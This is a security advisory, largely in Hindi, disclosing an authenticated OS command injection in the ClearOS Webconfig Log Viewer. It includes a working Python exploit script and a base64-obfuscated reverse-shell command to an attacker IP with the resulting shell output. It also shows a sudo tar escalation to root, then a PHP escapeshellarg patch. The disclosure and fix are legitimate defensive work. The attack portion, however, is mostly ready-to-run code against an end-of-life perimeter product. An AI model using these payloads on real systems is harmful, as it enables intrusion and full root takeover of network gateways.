
Authenticated Blind OS Command Injection in ClearOS
पैकेज: ClearFoundation
परीक्षित संस्करण: ClearOS 7.9.1.342252
भेद्यता प्रकार: OS कमांड इंजेक्शन (CWE-78)
गंभीरता: उच्च
CVE: CVE-2026-67599
CVSS v3.1 वेक्टर: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (स्कोर: 7.2)
इस CVE-2026-67599 को मेरी ओर से निर्धारित (assign) करने और ट्रैक करने में सहायता के लिए VulnCheck का धन्यवाद।
ClearOS CentOS/RHEL पर आधारित एक ऑपरेटिंग सिस्टम है, जिसे छोटे से मध्यम आकार के संगठनों के लिए नेटवर्क गेटवे, एकीकृत खतरा प्रबंधन (UTM) प्लेटफ़ॉर्म और एज सर्वर के रूप में कार्य करने के लिए डिज़ाइन किया गया है। यह मुख्य रूप से एक एज डिवाइस के रूप में कार्य करता है, जो फ़ायरवॉल नियमों, VPN कनेक्शन, रूटिंग और मुख्य नेटवर्क इंफ्रास्ट्रक्चर का प्रबंधन करता है।
चूँकि ClearOS नेटवर्क परिधि (perimeter) पर तैनात किया जाता है, इसलिए Webconfig (पोर्ट 81) जैसे प्रशासनिक इंटरफ़ेस अक्सर प्रबंधन खंडों या सीधे बाहरी नेटवर्क के संपर्क में रहते हैं। इस इंटरफ़ेस में कमांड निष्पादन भेद्यता एक हमलावर को गेटवे से समझौता करने, एज पर स्थायी पहुँच बनाने और सीधे आंतरिक नेटवर्क खंडों में प्रवेश करने की अनुमति देती है।
/usr/clearos/apps/base/libraries/File.php — पंक्तियाँ 297, 314
Log Viewer एंडपॉइंट पर प्रस्तुत filter पैरामीटर को बिना सैनिटाइज़ किए File.php में निर्मित शेल कमांड में पारित कर दिया जाता है। $regex मान को उचित रूप से एस्केप किए गए आर्गुमेंट के रूप में पारित करने के बजाय सीधे कमांड स्ट्रिंग में शामिल किया जाता है, जिससे $(...) जैसे कमांड प्रतिस्थापन पेलोड या बैकटिक अभिव्यक्तियाँ webconfig उपयोगकर्ता के रूप में निष्पादित हो सकती हैं।
मुझे यह एक सक्रिय अभियान (engagement) के दौरान संयोग से मिला। यहाँ एक सरल आर्टिफैक्ट जनरेटर है।
#!/usr/bin/python3
import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)
रिवर्स शेल उदाहरण (हमलावर .1 पर, लक्ष्य .129 पर):
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"
पुष्ट आउटपुट:
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
डिफ़ॉल्ट, अत्यधिक अनुमतिशील sudoers नियमों के माध्यम से रूट तक विशेषाधिकार वृद्धि आसानी से की जा सकती है:
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy
User webconfig may run the following commands on server:
(root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
/usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
/usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
/usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
/usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
/usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
/bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
/usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
/usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
/usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
/usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
/usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
/bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
/usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
/sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname
नीचे दिए गए उदाहरण में, रूट तक वृद्धि के लिए tar बाइनरी का उपयोग किया गया है:
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
Reports तक पहुँच रखने वाला एक प्रमाणित वेब इंटरफ़ेस उपयोगकर्ता webconfig उपयोगकर्ता के रूप में पूर्ण OS-स्तरीय कमांड निष्पादन प्राप्त कर सकता है। डिफ़ॉल्ट ClearOS 7.9 इंस्टॉलेशन में, webconfig को व्यापक NOPASSWD sudo विशेषाधिकार प्रदान किए जाते हैं, जिससे बिना अतिरिक्त क्रेडेंशियल के तुरंत रूट तक वृद्धि संभव हो जाती है। एक हमलावर अंतर्निहित होस्ट पर स्थायी रूट पहुँच प्राप्त कर सकता है, जिसमें सिस्टम द्वारा प्रबंधित सभी डेटा, सेवाएँ और नेटवर्क कॉन्फ़िगरेशन शामिल हैं।
ClearOS जीवन-अंत (End-of-Life) पर है। clearos.com से अभी भी डाउनलोड की जा सकने वाली नवीनतम वितरण (संस्करण ClearOS-7.9.1.342252) 13 अक्टूबर, 2021 की है, और इसे शून्य अपस्ट्रीम रखरखाव या सुरक्षा अद्यतन प्राप्त होते हैं।
इस कारण से, नीचे दिया गया कोड फ़िक्स कड़ाई से एक अस्थायी बैंड-एड है। अपने नेटवर्क परिधि पर बिना रखरखाव वाला OS चलाना आग से खेलना है। दृढ़तापूर्वक अनुशंसित आगे का मार्ग ClearOS से पूरी तरह हटकर किसी समर्थित एज डिवाइस या UTM प्लेटफ़ॉर्म पर स्थानांतरित होना है।
यदि आपको माइग्रेशन की योजना बनाते समय इस होस्ट को चालू रखना ही है, तो /usr/clearos/apps/base/libraries/File.php की पंक्तियों 297 और 314 पर $regex को escapeshellarg() में लपेटें और इसे इससे बदलें:
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,
इसके साथ:
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,
फिर webconfig सेवा को पुनः आरंभ करें:
sudo systemctl restart webconfig